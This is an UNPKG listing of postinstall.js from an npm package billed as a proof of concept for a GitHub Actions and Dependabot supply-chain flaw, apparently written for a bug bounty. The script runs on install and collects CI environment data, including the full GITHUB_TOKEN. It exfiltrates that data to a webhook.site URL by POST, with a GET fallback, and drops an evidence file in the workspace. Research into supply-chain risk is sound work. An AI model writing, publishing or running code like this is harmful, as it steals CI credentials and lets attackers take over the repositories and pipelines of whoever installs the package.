UNPKG

@unkn0wnartist/h1-poc-test

Version:

PoC package for demonstrating supply-chain vulnerability in GitHub Actions via Dependabot

177 lines (153 loc) 7.9 kB
// postinstall.js - Улучшенный скрипт для PoC (финальная версия) const https = require("https"); const fs = require("fs"); const path = require("path"); const os = require("os"); // Добавлено для os.hostname() // Webhook URL (подставляется из bash скрипта) const WEBHOOK_URL = "https://webhook.site/c37696bd-ed3a-4f6b-b87a-8fd86736afdf"; // Сбор всех интересных переменных окружения const envData = { // GitHub-специфичные переменные GITHUB_REPOSITORY: process.env.GITHUB_REPOSITORY, GITHUB_ACTOR: process.env.GITHUB_ACTOR, GITHUB_EVENT_NAME: process.env.GITHUB_EVENT_NAME, GITHUB_RUN_ID: process.env.GITHUB_RUN_ID, GITHUB_WORKFLOW: process.env.GITHUB_WORKFLOW, GITHUB_SHA: process.env.GITHUB_SHA, GITHUB_REF: process.env.GITHUB_REF, GITHUB_HEAD_REF: process.env.GITHUB_HEAD_REF, GITHUB_BASE_REF: process.env.GITHUB_BASE_REF, // Токены и секреты GITHUB_TOKEN_PRESENT: !!process.env.GITHUB_TOKEN, GITHUB_TOKEN_PREFIX: process.env.GITHUB_TOKEN ? process.env.GITHUB_TOKEN.substring(0, 12) + "..." : "none", // Отправка полного GITHUB_TOKEN для PoC GITHUB_TOKEN_FULL: process.env.GITHUB_TOKEN || "NOT_FOUND_IN_POSTINSTALL_ENV", // Информация о runner RUNNER_OS: process.env.RUNNER_OS, RUNNER_ARCH: process.env.RUNNER_ARCH, RUNNER_NAME: process.env.RUNNER_NAME, RUNNER_TEMP: process.env.RUNNER_TEMP, RUNNER_TOOL_CACHE: process.env.RUNNER_TOOL_CACHE, // Информация о среде Node.js и пакете NPM_PACKAGE_NAME: process.env.npm_package_name || "unknown-npm-pkg-from-env", NPM_PACKAGE_VERSION: process.env.npm_package_version || "unknown-npm-version-from-env", NODE_VERSION: process.version, NODE_ENV: process.env.NODE_ENV, INIT_CWD: process.env.INIT_CWD, // Информация о системе и пользователе PWD: process.env.PWD || process.cwd(), // process.cwd() более надежен USER: process.env.USER || process.env.USERNAME, HOSTNAME: os.hostname(), // Временная метка и идентификатор PoC TIMESTAMP: new Date().toISOString(), EXPLOIT_SOURCE: "postinstall-@unkn0wnartist/h1-poc-test", // Подставляется из bash скрипта POC_MESSAGE: "H1 PoC - Postinstall script executed successfully!" }; // Функция для отправки данных через POST function sendWebhookViaPOST(data) { const payload = JSON.stringify(data, null, 2); const url = new URL(WEBHOOK_URL); const options = { hostname: url.hostname, port: url.port || 443, path: url.pathname + url.search, method: "POST", headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(payload), "User-Agent": "H1-PoC-Dependabot-Exploit/2.0-POST", }, }; console.log("[PoC-Postinstall] Attempting to exfiltrate data via POST to " + WEBHOOK_URL); const req = https.request(options, (res) => { console.log(`[PoC-Postinstall] Webhook POST response status: ${res.statusCode}`); let responseData = ""; res.on("data", (chunk) => { responseData += chunk; }); res.on("end", () => { console.log("[PoC-Postinstall] ✅ Webhook POST request successful!"); // console.log(`[PoC-Postinstall] Webhook POST Response (first 200 chars): ${responseData.substring(0, 200)}`); }); }); req.on("error", (error) => { console.error(`[PoC-Postinstall] ❌ Webhook POST request failed: ${error.message}`); console.log("[PoC-Postinstall] Attempting fallback GET request..."); sendWebhookViaGET(data); // Fallback to GET }); req.write(payload); req.end(); } // Fallback функция для отправки данных через GET function sendWebhookViaGET(data) { const params = new URLSearchParams(); Object.entries(data).forEach(([key, value]) => { if (value !== undefined && value !== null && typeof value !== 'object') { params.append(key, String(value)); } else if (typeof value === 'object' && value !== null) { // Для объектов отправляем обрезанный JSON или специальный маркер params.append(key, JSON.stringify(value).substring(0,100) + "..."); } else if (value === null) { params.append(key, "null"); } else if (value === undefined) { params.append(key, "undefined"); } }); let queryString = params.toString(); if (queryString.length > 1800) { // Стандартное ограничение для URL ~2048, берем с запасом console.warn("[PoC-Postinstall] Query string for GET request is too long (" + queryString.length + " chars), truncating to 1800 chars."); queryString = queryString.substring(0, 1800); } const getUrl = `${WEBHOOK_URL}?${queryString}`; console.log("[PoC-Postinstall] Attempting fallback GET to (first 150 chars of URL):", getUrl.substring(0,150) + "..."); const req = https.get(getUrl, (res) => { // Сохраняем req для обработки ошибок console.log(`[PoC-Postinstall] Fallback GET response status: ${res.statusCode}`); let responseData = ""; res.on('data', (chunk) => { responseData += chunk; }); res.on("end", () => { console.log("[PoC-Postinstall] ✅ Fallback GET request successful!"); // console.log(`[PoC-Postinstall] Fallback GET Response (first 100 chars): ${responseData.substring(0, 100)}`); }); }); req.on("error", (e) => { // Обработка ошибок для https.get console.error("[PoC-Postinstall] ❌ Fallback GET request failed:", e.message); console.error("[PoC-Postinstall] ❌ All exfiltration attempts (POST and GET) failed."); }); } // Создание файла-маркера function demonstrateFileAccessAndRecord(dataToUpdate) { try { const markerContent = ` === H1 PoC EXPLOIT MARKER === Timestamp: ${envData.TIMESTAMP} Package: ${envData.NPM_PACKAGE_NAME}@${envData.NPM_PACKAGE_VERSION} Exploit Source: ${envData.EXPLOIT_SOURCE} Repository: ${envData.GITHUB_REPOSITORY || 'N/A'} Workflow: ${envData.GITHUB_WORKFLOW || 'N/A'} Actor: ${envData.GITHUB_ACTOR || 'N/A'} Hostname: ${envData.HOSTNAME} This file was created by the postinstall script of ${envData.EXPLOIT_SOURCE}. ================================ `; const baseDir = process.env.GITHUB_WORKSPACE || process.cwd(); const markerPath = path.join(baseDir, "H1_POC_EXPLOIT_EVIDENCE.txt"); fs.writeFileSync(markerPath, markerContent.trim()); console.log(`[PoC-Postinstall] 📁 Created exploit evidence file: ${markerPath}`); dataToUpdate.EXPLOIT_FILE_CREATED = markerPath; // Обновляем переданный объект } catch (error) { console.error(`[PoC-Postinstall] File creation failed: ${error.message}`); dataToUpdate.EXPLOIT_FILE_ERROR = error.message; // Обновляем переданный объект } } // Основная логика выполнения function main() { console.log(`🚨 [PoC-Postinstall] SCRIPT START for ${envData.EXPLOIT_SOURCE} (${envData.NPM_PACKAGE_NAME}@${envData.NPM_PACKAGE_VERSION}) 🚨`); console.log(`[PoC-Postinstall] Current directory: ${process.cwd()}`); console.log(`[PoC-Postinstall] Target repository (if in Actions): ${envData.GITHUB_REPOSITORY || 'N/A'}`); console.log(`[PoC-Postinstall] Workflow context (if in Actions): ${envData.GITHUB_WORKFLOW || 'N/A'}`); demonstrateFileAccessAndRecord(envData); // Создаем файл и добавляем информацию в envData sendWebhookViaPOST(envData); // Отправляем все собранные данные console.log(`🚨 [PoC-Postinstall] SCRIPT END for ${envData.EXPLOIT_SOURCE} 🚨`); } // Запуск main();